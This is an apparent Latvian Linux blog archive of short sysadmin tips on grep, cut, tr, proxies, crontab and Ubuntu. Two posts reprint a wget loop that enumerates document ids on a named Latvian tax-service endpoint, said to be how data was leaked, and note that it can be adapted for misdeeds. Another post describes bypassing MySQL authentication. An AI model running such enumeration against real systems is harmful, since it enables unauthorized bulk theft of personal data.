Category Archives: Linux

Grep un CUT

Dažreiz rodas nepārvarama vēlme  kaut ko sameklēt log failos un šādos gadījumos bez grep un cut neiztikt.
Šādi izskatījās DHCP logā atrast rindiņas, kuras satur vārdu Host, no tām neparādīt, kurās ir D8 vai 371. Attēlot tikai 2. kolonu (kolonas atdalās ar ‘=’ zīmi). Sakārtot alfabēta secībā. Datorvalodā tas izskatās šādi:
grep “Host” 19.04 | grep -v “D8″ | grep -v “371″|cut -d= -f2|sort
Ja vēl grib uzzināt cik rindiņas kopā sanāca:
grep “Host” 19.04 | grep -v “D8″ | grep -v “371″|cut -d= -f2|sort|wc -l

Pāris noderīgi switchi-
grep:
-A 5 izvadīt 5 rindiņas pēc atrastās sakarības
-B 5 izvadīt 5 rindiņas pirms atrastās sakarības
-n izvadīt rindiņas nummuru, pie kuras atrasta sakarība
-v izvadīt visas rindiņas, kurās nav atrasta sakarība

cut:
-d norāda kolonu atdalītāju, ja tas ir tukšumzīme, tad -d’ ‘
-f kuru kolonu izvadīt, -f1,3, tiks izvadīta 1 un 3 kolona
-c griešana pēc simbola
Piemērs:
echo “123456789″ | cut -c -5
12345
echo “123456789″ | cut -c 5-
56789
echo “123456789″ | cut -c 3-7
34567
echo “123456789″ | cut -c 5
5
wc -l saskaita izvadāmās rindiņas

http://www.thelinuxblog.com/using-cut-shellscript-string-manipulation/
http://ss64.com/bash/grep.html
http://www.uccs.edu/~ahitchco/grep/

Viss teksts vienā rindā

Risinot vienu problēmu bija nepieciešams vairākās rindās izveidotu tekstu pārveidot vienā.

Kā to izdarīt ar Win rīkiem tā arī neatradu, tāpēc pieķēros pie Linux.

Risinājums izrādījās vienkāršs:

cat file.txt | tr -d '\n' >newfile.txt

TCPDUMP apraksts

Linux Journal publicējis labu aprakstu par tcpdump programmu un ar piemēriem kā to pielietot.
Uzrakstīts ļoti saprotami un to var apskatīt te.

Kā izmantot apt-get komandu aiz proxy?

Kā izmantot apt-get komandu atrodoties aiz proxy?
Nekādas maģijas- ierakstām komandrindā:
export http_proxy=”http://myuser:mypasswd@myproxy:myport/”;

un strādājam bez problēmām.
Izmaiņas nesaglabāsies pēc reboot.

Know error-
1. nestrādā, ja parole satur- :
iesējamas problēmas arī ar citiem specsimboliem (@, utml).

2. Lynx prasta ievadīt lietotājvārdu un paroli atkārtoti

Links un links2 kurš palīdzēja tikt pāri šai starp problēmai.

Reset MySQL password

Bija nepieciešams pieslēgties MySql serverim, kuram nezināju root paroli.
Izrādās, ka to izdarīt ir vienkāršāk par vienkāršu-
vajag tikai apstādināt servisu, pēc tam to palaist noteiktā režīmā un nomainīt root paroli.
//apstādinām
sudo /etc/init.d/mysql stop vai sudo service mysql stop
//palaižam
sudo mysqld –skip-grant-tables
//piesledzamies kā root
mysql -u root mysql
//nomainām paroli
UPDATE user SET Password=PASSWORD(‘YOURNEWPASSWORD’) WHERE User=’root’; FLUSH PRIVILEGES; exit;

Mēģinām pielietot EDS konstatēto ievainojamību citur

Visiem tagad ir zināms kādā veidā tika iegūti dati no EDS sistēmas- nebija (it kā bija iestrādāta, bet testu rezultātā tika atslēgta) autentifikācija uz failu nolādes.

Kā šādu ievainojamību var izmantot tehniski biju atradis netā un pārpublicēju šeit.

Tā kā teorija un citu piemēri no prakses atšķiras, tad nodomāju patestēt.

Linux gadījumā tas varētu izskatīties šādā veidā:

for i in {1..7500000}; do
wget http://www2.vid.gov.lv/eds/Pages/GetDuf.aspx?id=$i;
done

Continue reading

Kā tika nolādēti dati no VID EDS sistēmas?

Šodien klejojot par netu atradu veidu kā iespējams tika nopumpēti dati no EDS sistēmas.
Viss ģeniālais ir vienkāršs un lai cilvēki redzētu cik tieši tas ir vienkārši tad pārpublicēju pašu kodu, kas varēja izskatīties aptuveni šāds:
Linux veidīgā konsolē uzrakstām un priecājamies

for i in {1..7500000}; do
wget http://www2.vid.gov.lv/eds/Pages/GetDuf.aspx?id=$i;
done

Šis piemērs parāda veidu kādā šādas ievainojamības izmantot un attiecīgi modificējot piedzīt arī citiem nedarbiem.

Kā mērīt Linux noslodzi?

Kā mērīt Linux noslodzi?

Ļoti daudzi  zina maģisko un leģendām apveltīto komandu TOP, bet ar to lielākoties ir par maz.

Internet vietnē http://www.cyberciti.biz/tips/how-do-i-find-out-linux-cpu-utilization.html

ir aprakstīti un komentāros apspriestas vairāki šādi rīki.

Pamācoši un lietderīgi.

Administratoru tests

Nesen bija tas gods izpildīt testu, pēc kura vienā uzņēmumā tiek vērtētas IT administratoru zināšanas.

Man šis tests bija interesants divu iemeslu dēļ:

  • Gribēju paskatīties pēc kāda principa citās iestādes tiek testētas zināšanas;
  • Uzzināt savu rezultātu, jo 1,5 gadus neesmu neko administrējis.

Ja kādam gribas sevi pārbaudīt pēc “subjektīva zināšanu testa”, tad lūdzu. Protams, katram būs savs vērtējums vai ar šādu testu ir iespējams pārliecināties par admina spējām, bet tas tā… Continue reading

Pirmās dienas zem Ubuntu :)

Nopirku jaunu portatīvo datoru un kā OS izvēlējos izmantot Ubuntu, lai pats varētu pārbaudīt cik ērti ir strādāt izmantojot bezmaksas programmatūru ikdienas darbā.

Mana līdzšinējā pieredze darbā ar pingvīniem ir saistīta tikai ar serveriem, kur klienta lietošanas ērtums ir samērā mazsvarīgs jēdziens…

No sākuma uzliku 8.04 versiju, jo mājās mētājās versijas CD, tomēr negāja wireless karte(iespējams, ka nebija vienkārši savietojama draivera) un, lai  no sākuma jau papildus sevi neapgrūtinātu uzliku 9.04.

Viss strādā uz urrā, bet pēc 3 dienu darba ir jāatzīmē vairāki trūkumi, kas saistīti ar aplikāciju vai to versiju atbalsta neesamību:

  • notepad++
  • skype pieejama, tikai 2.0 versija
  • chrome
  • un komplektā nākošais Firefox pamatīgi iebremzē.

Viss pārējais strādā nevainojami, tomēr ņemot vērā, ka visbiežāk lietotās aplikācijas neiet…

…pilnvērtīgu gandarījumu neizjūtu.

SEO detalizētāk 4. daļa

Kam vajag pievērst uzmanību:

Protams, kā galvenais ir tādi tagi kā Meta Title, Meta Description, Meta Keyword un pats teksta saturs.

Meta Title Continue reading

Crontab piemērs

Crontab izpilda komandas norādītajā laikā, kur sintakse ir:

Minutes Stundas Diena Menesis Nedelas diena Un izpildāmā komanda

Minūtes var saturēt no 00 līdz 59, ja norāda * tad izpildīsies katru minūti

Stundas atspoguļo 24h formātāun var saturēt vēwrtības no 00 līdz 24, ja norāda * tad izpildīsies katrustundu

Dienas var saturēt vērtību no 1 līdz 31, vja norāda * tad izpildīsies katru dienu Continue reading